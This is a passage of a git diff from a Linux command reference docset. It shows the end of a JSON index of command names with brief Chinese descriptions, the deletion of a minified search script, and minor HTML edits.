{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议(NTP)设置日期和时间"},{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},{"n":"perl","p":"/perl","d":"perl语言解释器"},{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)"},{"n":"php","p":"/php","d":"PHP语言的命令行接口"},{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件,gzip的并行实现升级版"},{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中"},{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},{"n":"printf","p":"/printf","d":"格式化并输出结果。"},{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},{"n":"pssh","p":"/pssh","d":"批量管理执行"},{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息,管道查看器"},{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},{"n":"read","p":"/read","d":"从键盘读取变量值"},{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},{"n":"screen","p":"/screen","d":"用于命令行终端切换"},{"n":"script","p":"/script","d":"记录终端会话的所有操作"},{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},{"n":"service","p":"/service","d":"控制系统服务的实用工具"},{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},{"n":"sh","p":"/sh","d":"shell命令解释器"},{"n":"shift","p":"/shift","d":"移动位置参数。"},{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},{"n":"split","p":"/split","d":"分割任意大小的文件"},{"n":"squid","p":"/squid","d":"squid服务器守护进程"},{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息"},{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},{"n":"startx","p":"/startx","d":"用来启动X Window"},{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出"},{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。"},{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具,是Linux上的抓包工具,嗅探器"},{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送,用于性能或者功能测试"},{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},{"n":"test","p":"/test","d":"执行条件表达式。"},{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},{"n":"times","p":"/times","d":"显示进程累计时间。"},{"n":"tload","p":"/tload","d":"显示系统负载状况"},{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权"},{"n":"top","p":"/top","d":"显示或管理执行中的程序"},{"n":"touch","p":"/touch","d":"创建新的空文件"},{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},{"n":"true","p":"/true","d":"返回状态为成功。"},{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},{"n":"type","p":"/type","d":"显示指定命令的类型。"},{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},{"n":"uname","p":"/uname","d":"打印系统信息。"},{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},{"n":"unrar","p":"/unrar","d":"解压rar文件命令,从rar档案中提取文件"},{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令"},{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},{"n":"yes","p":"/yes","d":"重复打印指定字符串"},{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}] \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/js/index.js b/linux-command.docset/Contents/Resources/Documents/js/index.js deleted file mode 100644 index 86691f148b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/js/index.js +++ /dev/null @@ -1 +0,0 @@ -!function(){function e(){var e,t=this.$$;this.commands=linux_commands||[],this.elm_query=t("query"),this.elm_btn=t("search_btn"),this.elm_result=t("result"),this.elm_search_result=t("search_list_result"),this.root_path=(e=t("current_path"),t=window.location.origin+window.location.pathname,e?t.replace(/\/(c\/)?(\w|-)+\.html/,"").replace(/\/$/,""):""),this.query="",this.query_size=5,this.page_size=50,this.init(),this.goToIndex()}e.prototype={$$:function(e){return document.getElementById(e)},goToIndex:function(){for(var e=document.getElementsByTagName("A"),t=0;t$1'),r=e.d.replace(i,'$1')||"");i=this.root_path.replace(/\/$/,"");return this.simple(n?'$name$ - $des$

':'$name$ - $des$',{name:s,url:e.p,des:r})},searchResult:function(e){var t=this.commands,n=this,s=0,r=t.length,i=[],l=[],u=e?this.page_size:this.query_size,a=[],o=[];if(t&&t.length&&-1"),m.appendChild(p))},selectedResult:function(e){for(var t=this.elm_result.children,n=0,s=0;s 搜索 命令,Linux 搜索 命令详解:最专业的Linux命令大全,命令搜索引擎,内容包含Linux命令手册、详解、学习,值得收藏的Linux命令速查手册。 - Linux 命令搜索引擎 - + logo Linux Command Logo. https://github.com/jaywcjlove @@ -61,7 +61,7 @@ - - + + \ No newline at end of file